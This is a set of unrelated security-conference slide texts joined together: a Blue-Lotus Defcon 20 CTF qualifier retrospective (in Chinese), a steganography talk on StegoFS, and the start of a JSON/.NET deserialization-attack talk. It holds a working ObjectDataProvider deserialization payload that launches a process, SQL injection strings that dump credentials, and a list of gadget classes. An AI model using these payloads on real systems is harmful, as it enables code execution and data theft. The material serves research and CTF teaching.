(Springer): 124–142. ◼ Thiele, E., “Tempest for Eliza.” 2001. http://www.erikyyy.de/tempest/. ◼ Kania B., “VGASIG: FM radio transmitter using VGA graphics card.” 2009. http://bk.gnarf.org/creativity/vgasig/vgasig.pdf. ◼ Guri M., Kedma G., Kachlon A., Elovici Y. “AirHopper: Bridging the air-gap between isolated networks and mobile phones using radio frequencies.” In Malicious and Unwanted Software: The Americas (MALWARE), 2014 9th International Conference on IEEE, 2014: 58-67. ◼ 2pkaqwtuqm2q7djg,"OVERCLOCKING TOOLS FOR NVIDIA GPUS SUCK, I MADE MY OWN". 2015. https://1vwjbxf1wko0yhnr.wordpress.com/2015/08/10/overclocking-tools-for-nvidia-gpus-suck-i-made-my-own/ ◼ nvapioc project: https://github.com/Demion/nvapioc ◼ SDRplay API Specification v3, https://www.sdrplay.com/docs/SDRplay_API_Specification_v3.pdf ◼ Simon Rockliff's Reed-Solomon encoding-decoding code at http://www.eccpage.com/rs.c
pdf
1 清华大学NISL实验室, Blue-Lotus黑客竞赛战队 @清华诸葛建伟 知道Web安全论坛KCON交流 Blue-Lotus战队 Defcon 20 CTF资格赛回顾 Defcon CTF竞赛 2 o   全球最有影响力的黑客竞赛 – “黑客奥运会” n  1996年开始,已成功举办16届 n  组织者:DDTek(2009-Present) o   Defcon 20 CTF n  Quals – 资格赛 o   Challenges Solving o   10支队 + 10支其他CTF冠军队 晋级 n  Deathmatch – 拉斯维加斯 淘汰赛 n  Final – 决赛 CTF (offense & defense) o   Defcon黑客会议现场 梦想中的拉斯维加斯决赛现场 3 Defcon CTF资格赛制 4 o   Grag bag (网络分析题) o   Urandom (随机题) o   Binary l33tness (二进制逆向 分析) o   Pwnables (渗透攻击题) o   Forensics (取证分析题) o   100-500分 o   第一个解题队 开出下一题 Blue-Lotus(“蓝莲花”战队) o   清华大学网络与信息安全实验室(NISL@TU)参加黑 客竞赛的队名 o   首次参赛:2010年12月iCTF’10 n  启蒙队:disket(UGA,Prof. Kang Li) n  首次战绩: 35/72 o   iCTF’11战绩:23/87 n  Metasploit原创书大结局场景 5 永不凋零的 蓝莲花 Defcon CTF参赛征集外援帖 6 外援出现了! 7 我们的参赛队员分布 8 CTF开赛 – 6.2 8:30am 9 [Blue-Lotus]清华总部 [Syclover] 成都信息工程学院 [Blue-lotus] 早点&零食区 0.01h – 旗开得分 o   Grab Bag 100: Hack the planet_ o   2006: Hack the ______ o   2007: ____ the planet o   2008: Hack ___ planet o   2011: ____ ___ ______. o   2012: Hack the planet_ 10 G100 Writeup: http://netsec.ccert.edu.cn/blog/2012/06/04/693 0.01h – 旗开得分 (Hack the planet经典台词的电影-Hacker) 11 0.5h - 梦幻开局, 200分, 并列第1 12 o   Urandom 100: n  How many developers;) did it take to secure Windows 8? o   当时解题思路 n  Google Windows 8发布会视频 - 是否微软某 高管提到Win8安全开发团队人数 n  平均团队规模60-70人:人肉暴力猜解1-100未果 o   最终解决:程序暴力猜解-答案152 n  Slow Down?!! o   Why 152? (注意developers后面的奸笑) U100 Writeup: http://netsec.ccert.edu.cn/blog/2012/06/05/719 悲催的零分八小时 – p100 o   p100: MIPS指令架构远程栈溢出 n  很快fuzz出漏洞点和缓冲区长度 n  搭环境本地动态调试:Qemu + Linux-mips n  缓冲区地址(覆盖返回地址)一直变化:ASLR o   指向堆栈的寄存器?一直未找到:放弃 o   解答关键:利用binary中的write()探测出缓冲区地址 o   不足 n  对非主流平台与环境的不熟悉:学习MIPS指令、 搭环境花了很多时间 n  思维定势:jmp esp(指向栈空间)绕过ASLR 13 P100 Writeup: http://netsec.ccert.edu.cn/blog/2012/06/04/709 悲催的零分八小时 – b100 o   Binary l33tness 100: 给一个binary,recover my key n  一个加密mac.h,一个sshd,一个ssh n  Google: skynet ssh backdoor n  mac.h(后门记录日志文件)解密(xor 0xff) 14 这个Key曾经不是 Key?!!! B100 Writeup: http://wcf1987.iteye.com/blog/1550530 悲催的零分八小时 – b100 (con’d) 15 o   眼皮底下“视而不见”的key:谁也没有想到这就是key 这个Key据说是曾 经的Key?!!! b100受骗中 16 ./john /root/ Desktop/ hash.txt Ali: 真的是破解crypt ()的明文后门密码吗? 就凭我的小Air,40小 时能破出来吗? insight-?/fish: 发 现后门加密后的密码, key可能是解密后的 原文密码吧 悲催的零分八小时 – f100 o   一个Linux文件系统,find the key o   落入了出题者的陷阱 n  包含软件包只有1个.c文件,十数个.x文件分析:编译执行? n  预编译头文件二进制中包含汇编源码:分析汇编? n  浪费大量劳力和时间,却毫无收获,郁闷! o   Writeup n  blkls -s f100: sleuthkit取证分析工具集中检查文件系统工具 n  Slack space: 包含删除文件的”松散”扇区 17 F100 Writeup: http://sysexit.wordpress.com/2012/06/03/defcon -20-ctf-prequals-2012-forensics-300-writeup/#comments F200 Writeup: http://netsec.ccert.edu.cn/blog/2012/06/15/769 悲催的零分八小时 - f200 o   Forensic 200: 一个相机存储卡,recover the key n  WinHex恢复出7张图片文件,并修复JPG n  走上歪路:Google Map找出海景照片拍摄地? n  两张图片显示内容相同但二进制不同图片 n  对比分析,居然没想到使用隐写检测工具stegdetect n  不过还需要猜测加密口令-ddtek (只有4个队解出F200) 18 f200图片对比后出现的3D效果 19 开饭了!开饭了! Fish:等我搞 定b200,再… 扭转局势的突破 – b200 21 o   提供样本,与远程运行实例交互获得key o   分析过程 n  File: FreeBSD 32-bit n  IDA Pro反汇编、反编译 -> 理解程序逻辑 n  绕过简单的权限控制 -> Nop相关代码破解 n  Callback()关键函数最后的代码 输入数据通过测试,则发 送Key过来,否则Sorry B200 Writeup: http://netsec.ccert.edu.cn/blog/2012/06/17/779 扭转局势的突破 – b200 22 o   Callback( )函数中的 输入测试一 o   读入4组4字节 o   与4个整数 验证码对比 o   通过则进入 下一测试 o   Easy搞定 扭转局势的突破 – b200 23 两个输入的 string要不相同 两个输入string经 过crypt()函数计算 判断两个输出 string却要相同? 扭转局势的突破 – b200 24 o   crypt()函数到底是什么Hash算法呢? o   发现Rijndeal算法(AES)的S-Box n  AES-based MAC?! 找哈希碰撞 n  side-channel collision attack n  known-message scenario n  time and memory complexity 扭转局势的突破 – b200 25 o   Fish的突破 n  v5.key[0] = 0x14B62D86u - 原先认为是使用的密钥 n  Tangle Hash Function!!! n  Google “Tangle Hash collision” 扭转局势的突破 – b200 26 o   构造能够满足测试条件的输入 o   获得key: 437f085141d357c5d28850d5119aacb5 扭转局势的突破 – p200 27 o   FreeBSD远程exploit o   关键漏洞函数逻辑分析 重点怀疑 对象 网络获取输入 流,写buffer, 明显的栈溢出 这在干吗? Kelwin: 10 = 0A !!! 这是个堆栈保护, 要覆盖buffer到返回 地址,必须要覆盖protection, 保持protection不变会结束循环,死结! 扭转局势的突破 – p200 28 o   Zhugejw: 不要着急,让我们画图仔细分析栈空间内存布局与 程序逻辑,可能会找出一条活路 o   Kelwin: 我知道了!循环变量index在覆盖途中, 可以进行精细 控制跳过protection。lycan, 快来搞shellcode! Ret-add … protection index buffer … … sp sp+1Ch sp+21Ch sp+224h sp+220h shellcode ox0b Ret-add Ret-add sp+228h ox00 ox02 ox02 ox0C P200 Writeup: http://netsec.ccert.edu.cn/blog/2012/06/04/699 第一天的战绩 – 700分(3x名) 29 比赛中场技术统计 •  解题:5/10 •  得分:700/1600 •  第1名:9/10 •  第1名:1400/1600 •  最高名次:并列第1 •  最低名次:6x+/5xx •  当前名次:3x/5xx •  最长板: binary •  最短板: forensic •  最闲组: grab bag 势如破竹追分日-g组显身手(g200) 30 o   解压后是MACOS上的jpeg,缩略图中原始图片链接 o   Diff发现解压图片比原图多了一段数据,DNS请求 o   Scapy构造相同DNS请求包,修改源IP,发给目标 o   dig -t ptr 13.12.11.10.in-addr.arpa @140.197.217.85 -b ::#31337 o   DNS应答:dan.kaminsky.kung.fu. G200 Writeup: http://netsec.ccert.edu.cn/blog/2012/06/05/719 势如破竹追分日-g组显身手(g300) 31 o   找出矩阵 规律,求出 PIN码 o   10秒限制 n  This is semi-real. o   编程解决 o   Balance: $92387409 825702370 12935.32 G300 Writeup: http://netsec.ccert.edu.cn/blog/2012/06/09/760 第2天15pm-首次进入首页榜单 32 18. Blue- lotus:1200 势如破竹追分日-p组稳步前进(p300) 33 o   FreeBSD服务程序exploit – 理解程序逻辑 o   通过验证码 o   将网络输入读入 ptr[] o   函数处理ptr[] o   拿去直接运行 势如破竹追分日-p组稳步前进(p300) 34 o   理解对输入ptr[]的 处理函数逻辑 n  根据4个字节组合的 INT型按大小重新排列 n  经典的快速排序实现算 法 o   编写一个”升序”的 Shellcode o   耐心、细心插花 P300 Writeup: http://netsec.ccert.edu.cn/blog/2012/06/04/715 势如破竹追分日-f组终于突破(f300) 35 o   Strings分析下载文件 n  D-Link DIR-815 Firmware n  硬件Firmware分析题 o   Binwalk分析 n  压缩格式为 squashfs + lzma o   firmware-mod-kit分析 n  ./extract-ng.sh /root/Desktop/ makeFirmware/f300 n  rootfs n  /home/dlink/key.txt F300 Writeup: http://insight-labs.org/?p=371 势如破竹追分期-g组再次发力(g400) 36 o   Gb400: What is Jeff Moss’ checking account balance? 输入单引号 没有明显的SQL注入 势如破竹追分期-g组再次发力(g400) 37 o   手注技巧 n  列出表名、列名:union select table_name,column_name,'c','d',1,'f’ from information_schema.columns n  列出所有Customer: union select email,password,username,lastname,id,firstnam e from customer o   No Jeff Moss’s account??? n  Jeff Moss = Dark Tangnet o   登录Dark Tangnet的账号,key = 0.00 G400 Writeup: http://netsec.ccert.edu.cn/blog/2012/06/09/762 第2天20:30pm - 拉斯维加斯诱惑 38 11. Blue- lotus:2200 Two teams prequalified: •  European Nopslead team •  leetmore 最后关头的奋力竞争 – u300 39 o   Stanford在线算法课程的期末作业 o   服务端给出10万个uint16_t数,编程给出 10秒钟内的快速排序算法最优解,通过 网络送回解答 o   我们有NOI金牌获得者助阵 o   网速不够太坑爹:拿到Amazon云主机跑 U300 Writeup: http://netsec.ccert.edu.cn/blog/2012/06/04/690 最后关头的奋力竞争 – b300 40 o   Pcap文件:1个简单的TCP连接,10字节数据(密文) o   EXE文件 n  x86 PE文件? OpenVMS/Alpha可执行文件! n  动态分析:Alpha虚拟机+OpenVMS镜像,没有License! o   静态分析:IDAPro n  key为四字节Dword (四字节按一定规律与明文xor得到密文) n  还原出部分明文为“XXX7tXXXX!” o   新的提示:“What time is leet?” n  [insight]LittleFather: 我猜1337? 错, 我又猜l337? 又错 n  我再猜L337? 终于对了! (L337tmnow!) B300 Writeup: http://insight-labs.org/?p=368 最后关头却强弩之末 – b400 41 o   硬碰硬的逆向工程分析题目(FreeBSD x64) n  反调试技术的爆破 n  Gdb动态调试结合IDAPro静态分析 n  程序逻辑的理解 -> 求解满足一些数学约束 集合的0-63数字序列 n  编程解出序列,发给目标服务器,得到key o   Fish一人的坚守 n  N个小时, N>8? n  强弩之末的Fish à B400 Writeup: http://netsec.ccert.edu.cn/blog/2012/06/05/749 p400千钧一发的时刻 42 Kelwin:我花一通宵才搞懂了 p400,写程序构造浮点数序列 满足条件,本地exploit成功了, 为啥远程地址不对了Shellcode 被改了!只剩半个小时了怎么办? Bobo:擦!我也搞 不清楚了,我们瞎 猫抓耗子,瞎碰吧! 试试0xXXXX这个 地址 Kelwin:YES! 400分进账!人 品不错!排名进 首页了! P400 Writeup: http://netsec.ccert.edu.cn/blog/2012/06/05/723 通往拉斯维加斯的钥匙-f400 43 o   Windows内存镜像分析,HBGary say waht? n  HBGray VS. Anonymous n  strings, grep:关于PGP加密邮件破译的挑战 n  思路:找出内存中的PGP私钥,对发现的若干PGP加密邮件 进行解密,key在解密邮件中 o   纠结在如何找PGP私钥上 n  Volatility内存镜像分析工具: pgp.exe /gpg-agent.exe -> 通过进程内存恢复找出内存栈中的key(Time!) n  定位了key ID: EC1B51DB, key ID与私钥的联系,没找到 o   Writeup: n  找到公钥dump,公钥与私钥RSA n参数 n  Photorec工具直接恢复 6.4 8:30am 比赛结束 44 比赛全场技术统计 •  解题:14/24 •  得分:3600/7000 •  最终名次:19/5xx •  第1名: 4900/7000 •  入围分: 3900 (12) •  优势: binary, 1000/1500 •  弱势: forensic, 300/1500 •  一key之差: f400 19. Blue- lotus:3600 认识下入围的国际强队 45 Rank Team Name Country 1 Hates Irony 美国 2 PPP CMU, 美国 3 侍 ? 4 sutegoma2 日本 5 shellphish UCSB, 美国 6 TwoSixNine ? 9 our name sucks 法国 10 ACME Pharm NW, 美国 11 WOWHACKER- PLUS 韩国 12 Routards 法国 CTF Team Name Country DC19冠军 European Nopslead Team 欧洲 PhDays (etc) More Smoked Leet Chicken 俄罗斯 NCCDC Team Hillarious UW, 美国 oCTF Team Vand ? RuCTFE 0ldEur0pe 德国 HitB A SiBears TSU俄罗斯 Codegat e KAIST GoN 韩国 Nuit du Hack HackerDom URFU,俄罗 斯 Ebay slot CashCOW?! ? 资格赛入围 其他CTF赛冠军入围 感受与经验教训 o   有趣&挑战: 享受过程 o   输在缺少实践经验和交流沟通上 n  有时甚至对key视而不见,对题目描述和思路的理解 n  取证分析:缺乏实践经验和支持工具,被 f100&f200打击了信心与士气 n  没有针对解题思路的brainstorm与有效沟通 o   仍然停留在业余水平 n  首次参加defcon CTF资格赛,临时决定 n  只安排了一次集中讨论,无实践集训(以赛代练) 46 CTF竞赛与国际积分排名(ctftime.org) 47 Blue- lotus: 75/1152 78.733 黑客CTF“大满贯”赛事 o   “大满贯”赛事 n  Codegate(2月/4月):韩国主办,冠军奖金2千万 n  PlaidCTF(4月):美国CMU主办,冠军奖金$2K n  iCTF(12月):美国UCSB主办,冠军奖金$2K n  Hack.lu(10月):卢森堡黑客会议,德国主办 n  GiTS(1月):shmoocon黑客会议 n  … o   总决赛: Defcon CTF(6月/7月) 48 寻找志同道合竞赛伙伴 o   Blue-Lotus黑客竞赛战队:永不凋零的蓝莲花 n  参加黑客CTF大满贯赛事,以赛代练 n  争取明年Defcon CTF突破性成绩 o   Blue-Lotus Chaos Club n  我们欢迎各色黑友,只要你乐于接受挑战 n  急需增强力量:取证分析, Web安全, 漏洞分析与渗透攻击 o   希望明年defcon ctf能够与更多中国战队并肩作战 n  安全专业学生:学习的最好机会! n  安全公司团队:锻炼团队技术能力与配合默契的免费培训课程! n  Let’s trade hintsJ, just kidding 49 CTF竞赛资源 o  链接资源集合http://t.cn/zW2mXMA o   Defcon 20 CTF赛题集锦:http://repo.shell-storm.org/CTF/Defcon-20-quals/ o   Blue-Lotus团队writeup: http://hi.baidu.com/casperkid/item/3aaa7d26a08b8e4146996289 o   其他writeup集锦 n  http://devpsc.blogspot.jp/2012/06/defcon-20-quals-writeup-collection.html(需翻 墙) n  http://d.hatena.ne.jp/Kango/20120604/1338815574(日本) n  https://sites.google.com/site/ctfcentralorg/home/defcon-20-ctf-quals o   CTF赛事与团队积分排行:http://ctftime.org/ o   CTF比赛列表: n  http://ctf.forgottensec.com/wiki/index.php?title=Main_Page n  http://captf.com/practice-ctf/ o   各大ctf赛题集锦:http://captf.com/ o   CTF挑战线上练习题:http://www.wechall.net/sites.php o   取证工具集http://www.securitywizardry.com/index.php/products/forensic-solutions.html 50 一黑黑一天,妹纸晾一边; 一黑又一天,黑友共争先! Thanks 新浪微博:@清华诸葛建伟 Q&A 学妹送给CasperKid的礼物! 评论:做黑阔也是有妹纸欣赏的
pdf
Le’go My Stego Le’go My Stego Steganography Steganography in the post Web 2.0 World in the post Web 2.0 World James Shewmaker © 2008 James Shewmaker © 2008 Defcon 0x10 Defcon 0x10 Today’s Agenda Today’s Agenda  Today’s Agenda Today’s Agenda  Background: Classical Stego Background: Classical Stego  Digital Stego Techniques Digital Stego Techniques  Extending Stego concepts Extending Stego concepts  Surviving Conversion Surviving Conversion  Post-Mortem Conversion Detection Post-Mortem Conversion Detection Classic Stego Classic Stego  Old School Spy vs. Spy Old School Spy vs. Spy  Classified Ads Classified Ads  Microdot Microdot  Digital Stego - Any media file that samples Digital Stego - Any media file that samples reality can have its Least Significant Bit reality can have its Least Significant Bit (LSB) tweaked with minor disruptions (LSB) tweaked with minor disruptions Classic Digital Stego Classic Digital Stego  Classic Digital Stego Classic Digital Stego  Manipulating that Least Significant Bit Manipulating that Least Significant Bit  Using unused space in a host file Using unused space in a host file  Examples Examples  Digital audio – fairly subtle Digital audio – fairly subtle  Even magnitude == zero Even magnitude == zero  Odd magnitude == one Odd magnitude == one  Digital image – also fairly subtle Digital image – also fairly subtle  Even LSB of a pixel == zero Even LSB of a pixel == zero  Odd LSB of a pixel == one Odd LSB of a pixel == one Distributed Stego Distributed Stego  Many public video sites converted to flash video Many public video sites converted to flash video (FLV) (FLV)  Take your favorite viral marketing video Take your favorite viral marketing video  Encode to FLV before you upload Encode to FLV before you upload  Store data with LSB stego using each frame/tag/box Store data with LSB stego using each frame/tag/box  (GIF/PNG/JPEG, etc.) (GIF/PNG/JPEG, etc.)  Store parity bit with each audio sample Store parity bit with each audio sample  Classic/Simple Stego is not quite robust enough Classic/Simple Stego is not quite robust enough to survive video conversions to survive video conversions  High redundancy might survive conversion High redundancy might survive conversion  If we pick our codec well, it might survive unmolested If we pick our codec well, it might survive unmolested Phfft—who needs binary anyway? Phfft—who needs binary anyway?  Whitespace in public blog comments Whitespace in public blog comments  Seed arbitrary blog with keywords, then ask Google to Seed arbitrary blog with keywords, then ask Google to find the blog find the blog  \x20 between words == zero \x20 between words == zero  \x20\x20 between words == one \x20\x20 between words == one  Mispelt blog comments Mispelt blog comments  the == zero the == zero  teh == one teh == one  These techniques are compressible and subtle These techniques are compressible and subtle enough to likely be overlooked when classic enough to likely be overlooked when classic stego detection tools are used stego detection tools are used Creating a Stego Filesystem Creating a Stego Filesystem  Previous slides could be used for data or Previous slides could be used for data or metadata metadata  Pick a method to encode a structure, ie: Pick a method to encode a structure, ie:  Use blog comments as metadata for a dually-linked Use blog comments as metadata for a dually-linked list list  URL to previous metadata comment URL to previous metadata comment  URL to datablock URL to datablock  URL to next metadata comment URL to next metadata comment  Store datablock in video frame/tag/box (up to one bit Store datablock in video frame/tag/box (up to one bit per pixel) per pixel)  Store an extra parity bit for the datablock in the audio Store an extra parity bit for the datablock in the audio sample sample How the data survives conversion How the data survives conversion  Small bit errors from conversion could be Small bit errors from conversion could be detected and corrected with Hamming detected and corrected with Hamming code-like techniques to survive conversion code-like techniques to survive conversion  RAID 10 the metadata dually-linked list RAID 10 the metadata dually-linked list  That is to say mirrored sets of RAID 5 That is to say mirrored sets of RAID 5  If LSB bits are lost in a single If LSB bits are lost in a single frame/tag/box-we can recover frame/tag/box-we can recover  If the conversion taints a portion of the If the conversion taints a portion of the frame/tag/box-we can recover frame/tag/box-we can recover Even Hamming code example Even Hamming code example  Every power of 2 is a parity bit (4 extra bits) Every power of 2 is a parity bit (4 extra bits)  For example, store \xFF, blanks are parity For example, store \xFF, blanks are parity  __1_ 111_ 1111 __1_ 111_ 1111  11st st bit checks 1, skips 1, then bit checks 1, skips 1, then repeats,5 ones is odd so we get repeats,5 ones is odd so we get  1_1_ 111_ 1111 1_1_ 111_ 1111  22nd nd bit checks 2 bits, skip 2… bit checks 2 bits, skip 2… (2,3,6,7,10,11),5 ones so we get (2,3,6,7,10,11),5 ones so we get  111_ 111_ 1111 111_ 111_ 1111  (4,5,6,7,12), 4 ones so we get (4,5,6,7,12), 4 ones so we get  1110 111_ 1111 1110 111_ 1111  1110 1110 1111 1110 1110 1111 –Final encoded –Final encoded Fixing a bad bit Fixing a bad bit  1110 1110 1111 1110 1110 1111 –Final Encoded –Final Encoded  1110 1110 1011 1110 1110 1011 –Damaged –Damaged  ^ ^ ^ ^ -Lies! -Lies!  2 + 8 =10 2 + 8 =10 -bit 10 is bad! -bit 10 is bad!  1110 1110 1111 1110 1110 1111 -Corrected! -Corrected!  This will detect 2 bit errors, but correcting This will detect 2 bit errors, but correcting more than 1 error requires wrapping all of more than 1 error requires wrapping all of this parity with more checks this parity with more checks Hold on for a second Hold on for a second  What do we have so far? What do we have so far?  We can hide data inside of other data We can hide data inside of other data  We can store 8 bits of data and use 4 bits to We can store 8 bits of data and use 4 bits to detect and correct detect and correct  If we do this for every sample (pixel), it is If we do this for every sample (pixel), it is easier to detect easier to detect  Many near duplicate colors Many near duplicate colors  Compressibility changes Compressibility changes  So let’s use sparse encoding inside So let’s use sparse encoding inside Not Just for Stego Not Just for Stego  What use is sparsely encoded data? What use is sparsely encoded data?  Covert storage Covert storage  Classic-Just stash you bits inside of other data Classic-Just stash you bits inside of other data  Covert metadata Covert metadata  Stash data about your covertly stashed data Stash data about your covertly stashed data  Covert communications channel Covert communications channel  Use the stashed data as a signal Use the stashed data as a signal  For example, is a decoding algorithm or key For example, is a decoding algorithm or key  Watermarking Watermarking  Stash a unique serial number to track the host data Stash a unique serial number to track the host data Ok, so now what? Ok, so now what?  Making a frame survive conversion isn’t Making a frame survive conversion isn’t everything everything  What happens when video is resampled? What happens when video is resampled?  This entire frame might be skipped or This entire frame might be skipped or merged with the next frame merged with the next frame  But we can use another parity code across But we can use another parity code across frames frames  By adding this extra dimension, we can By adding this extra dimension, we can survive dropped frames survive dropped frames Adding redundant datablocks Adding redundant datablocks  Easy to mirror the datablock for three Easy to mirror the datablock for three continuous frames continuous frames  If one frame is dropped, no problem If one frame is dropped, no problem  If two frames are merged, no problem If two frames are merged, no problem  Just need to be able to identify a datablock Just need to be able to identify a datablock  Might be merged with copies of itself (same five Might be merged with copies of itself (same five frames) frames)  Might be merged with next datablock Might be merged with next datablock  Likely downsampled and threw out frames Likely downsampled and threw out frames Patterns affect compressibility Patterns affect compressibility  Encoding datablocks with Hamming code Encoding datablocks with Hamming code not too obvious not too obvious  Mirroring three frames is more obvious Mirroring three frames is more obvious  So what we have so far has obvious patterns So what we have so far has obvious patterns  XOR or RAID 5 the frames? XOR or RAID 5 the frames?  Still survives frame drops Still survives frame drops  Arguably less obvious Arguably less obvious  If we mirror the first two frames, we can If we mirror the first two frames, we can add an XOR’d version of the byte in the add an XOR’d version of the byte in the third frame third frame  For second byte we could do the same or For second byte we could do the same or add the XOR’d version from the previous add the XOR’d version from the previous Using three frames to encode xFF Using three frames to encode xFF So what do we have now? So what do we have now?  An FLV video-each frame is an image An FLV video-each frame is an image  Each frame is encoding one bit per pixel Each frame is encoding one bit per pixel by choosing either even or odd by choosing either even or odd  Increases near-duplicate colors if we apply Increases near-duplicate colors if we apply blindly-becomes easy to detect blindly-becomes easy to detect  Chances are we will loose near duplicate Chances are we will loose near duplicate colors during FLV to FLV conversion colors during FLV to FLV conversion  Largely prevented by choosing colors well Largely prevented by choosing colors well (say only encode green pixels) (say only encode green pixels) So what do we have now? (2) So what do we have now? (2)  Each frame contains a number of Each frame contains a number of Hamming encoding bytes Hamming encoding bytes  The next frame encodes the same bytes in The next frame encodes the same bytes in the same way the same way  The third frame XORs the two previous The third frame XORs the two previous frames with the XOR result from the frames with the XOR result from the previous XOR’d frame previous XOR’d frame  So we have stego byte correction and So we have stego byte correction and frame correction. frame correction. Automating this in reality Automating this in reality  These structures could hold anything These structures could hold anything  Put the structures in arbitrary places Put the structures in arbitrary places  Some sites mirror Some sites mirror  Some thieves plagiarize (almost as good as a Some thieves plagiarize (almost as good as a mirror) mirror)  Ask Google to find them when needed Ask Google to find them when needed  ““Drive Maintenance” – periodically look up Drive Maintenance” – periodically look up with Google, upload any necessary pieces with Google, upload any necessary pieces (to keep redundancy from getting weak) (to keep redundancy from getting weak) Alpha Implementation Alpha Implementation  StegoFS StegoFS  You’ve seen gmailfs—same idea You’ve seen gmailfs—same idea  Originally written in Perl with older FLV Originally written in Perl with older FLV  Rewritten using Python (py-fusefs, py-game, Rewritten using Python (py-fusefs, py-game, pymedia) pymedia)  POC only, no intention of maintaining POC only, no intention of maintaining  Planning to release by August 2008 at Planning to release by August 2008 at http://bluenotch.com/resources/ http://bluenotch.com/resources/ Bonus Round Bonus Round  We have only talked about LSB stego, what We have only talked about LSB stego, what about using a relationship to encode bits? about using a relationship to encode bits?  Can we build a pattern out of key frames? (key Can we build a pattern out of key frames? (key frames used to seek) frames used to seek)  Two close keyframes = zero, two sparse = one Two close keyframes = zero, two sparse = one  FLV’s metadata info frames FLV’s metadata info frames  Store more stego Store more stego  Store a hash/signature to identify datablock and/or Store a hash/signature to identify datablock and/or datablock tampering datablock tampering  I’m not Dan Kaminsky, but if I was I’d stash an I’m not Dan Kaminsky, but if I was I’d stash an index in somebody else’s DNS … index in somebody else’s DNS … Ready for the Paranoia? Ready for the Paranoia?  In testing, it became obvious that the fault In testing, it became obvious that the fault tolerance built into StegoFS revealed patterns tolerance built into StegoFS revealed patterns  That is, I could tell _how_ the file was mangled, That is, I could tell _how_ the file was mangled, and could often rebuild it and could often rebuild it  How do you know that your videos are not How do you know that your videos are not already watermarked? already watermarked?  *They* might be able to see where you got if *They* might be able to see where you got if from, but more importantly _how_ you got it from, but more importantly _how_ you got it  Relationships are no longer safe Relationships are no longer safe References / For More Info References / For More Info  FLV- http://www.adobe.com/devnet/flv/ FLV- http://www.adobe.com/devnet/flv/  Hamming code- Hamming code- http://en.wikipedia.org/wiki/Hamming_code http://en.wikipedia.org/wiki/Hamming_code #General_algorithm #General_algorithm
pdf
Friday the 13th: JSON Attacks Alvaro Muñoz (@pwntester) Oleksandr Mirosh HPE Security > whoami • Alvaro Muñoz • Security Research with HPE • Int3pids CTF player • @pwntester • Oleksandr Mirosh • Security Research with HPE Introduction • 2016 was the year of Java Deserialization apocalypse • Known vector since 2011 • Previous lack of good RCE gadgets in common libraries • Apache Commons-Collections Gadget caught many off-guard. • Solution? • Stop using Java serialization • Use a secureJSON/XML serializer instead • Do not let history repeat itself • Raise awareness for .NET deserialization vulnerabilities • Is JSON/XML/<Put your favorite format here> any better? Agenda 1. Attacking JSON serializers • Affected Libraries • Gadgets • Demo 2. Attacking .NET serializers • Affected formatters • Gadgets • Demo 3. Generalizing the attack • Demo Is JSON any better? Introduction • Probably secure when used to transmit data and simple JS objects • Replacing Java/.NET serialization with JSON requires OOP support. • How do we serialize a System.lang.Objectfield? • How do we deal with generics? • How do we serialize interface fields? • How do we deal with polymorphism? Quick recap of Java deser attacks • Attackers can force the execution of any readObject() / readResolve() methods of any class sitting in the classpath • By controlling the deserialized field values attackers may abuse the logic of these methods to run arbitrary code • JSON libraries do not (normally) invoke deserialization callbacks or magic methods Can we initiate a gadget chain in some other way? Sure we can • JSON libraries need to reconstruct objects by either: • Calling default constructor and using reflection to set field values • Default constructor is parameterless so useless for attack purposes • Reflection does not invoke any object methods but deserializer may do • Calling default constructor and calling setters to set field values • Can we find setters that would allow us to run arbitrary code? • Calling “special” constructors, type converters or callbacks • Can be used to bridge into other formatters or as start-chain gadgets • Calling common methods such as: • hashcode(), toString(), equals(), finalize(), … • Combinations of the previous ones ☺ Gadgets: .NET Edition • System.Configuration.Install.AssemblyInstaller • set_Path • Execute payload on local assembly load • System.Activities.Presentation.WorkflowDesigner • set_PropertyInspectorFontAndColorData • Arbitrary XAML load • Requires Single Threaded Apartment (STA) thread • System.Windows.ResourceDictionary • set_Source • Arbitrary XAML load • Required to be able to work with setters of types derived from IDictionary • System.Windows.Data.ObjectDataProvider • set_(MethodName| ObjectInstance| ObjectType) • Arbitrary Method Invocation ObjectDataProvider {"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework", "ObjectInstance":{ "$type":"System.Diagnostics.Process, System”}, "MethodParameters":{ "$type":"System.Collections.ArrayList, mscorlib", "$values":["calc"]}, "MethodName":"Start" } • Non-default constructor with controlled parameters • ObjectType + ConstructorParameters • Any public instance method of unmarshaled object without parameters • ObjectInstance + MethodName • Any public static/instance method with controlled parameters • ObjectType + ConstructorParameters + MethodName + MethodParameters ObjectDataProvider http://referencesource.microsoft.com/#PresentationFramework/Framework/System/Windows/Data/ObjectDataProvider.cs,d63c16f7bc3251a9 ObjectDataProvider http://referencesource.microsoft.com/#PresentationFramework/Framework/System/Windows/Data/ObjectDataProvider.cs,d63c16f7bc3251a9 ObjectDataProvider … http://referencesource.microsoft.com/#PresentationFramework/Framework/System/Windows/Data/ObjectDataProvider.cs,d63c16f7bc3251a9 ObjectDataProvider http://referencesource.microsoft.com/#PresentationFramework/Framework/System/Windows/Data/ObjectDataProvider.cs,d63c16f7bc3251a9 Gadgets: Java Edition • org.hibernate.jmx.StatisticsService • setSessionFactoryJNDIName • JNDI lookup • Presented during our JNDI attacks talk at BlackHat 2016 • com.atomikos.icatch.jta.RemoteClientUserTransaction • toString • JNDI lookup • com.sun.rowset.JdbcRowSetImpl • setAutoCommit • JNDI lookup • Available in Java JRE JdbcRowSetImpl.setAutoCommit http://grepcode.com/file/repository.grepcode.com/java/root/jdk/openjdk/8u40-b25/com/sun/rowset/JdbcRowSetImpl.java/ JdbcRowSetImpl.setAutoCommit http://grepcode.com/file/repository.grepcode.com/java/root/jdk/openjdk/8u40-b25/com/sun/rowset/JdbcRowSetImpl.java/ Gadgets: non RCE .NET • System.Xml.XmlDocument/XmlDataDocument • set_InnerXml • XXE on .NET before 4.5.2 • System.Data.DataViewManager • set_DataViewSettingCollectionString • XXE on .NET before 4.5.2 • System.Windows.Forms.BindingSource • set_DataMember • Arbitrary getter call which can be used to chain to other gadgets Java • org.antlr.stringtemplate.StringTemplate • toString • Arbitrary getter call which can be used to chain to other gadgets such as the infamous TemplatesImpl.getOutputProperties() Analyzed Libraries • We analyzed different Java/.NET JSON libraries to determine whether these libraries could lead to arbitrary code execution upon deserialization of untrusted data in their default configuration or under special configurations. • Requirements • Attacker can control type of reconstructed objects • Can specify Type • Library loads Type • Library/GC will call methods on reconstructed objects • There are gadget chains starting on method executed upon/after reconstruction Different scenarios • Format includes type discriminator 1. Default 2. Configuration setting • Type control 1. Cast after deserialization 2. Inspection of expected type (User) JSON.Deserialize(untrusted); 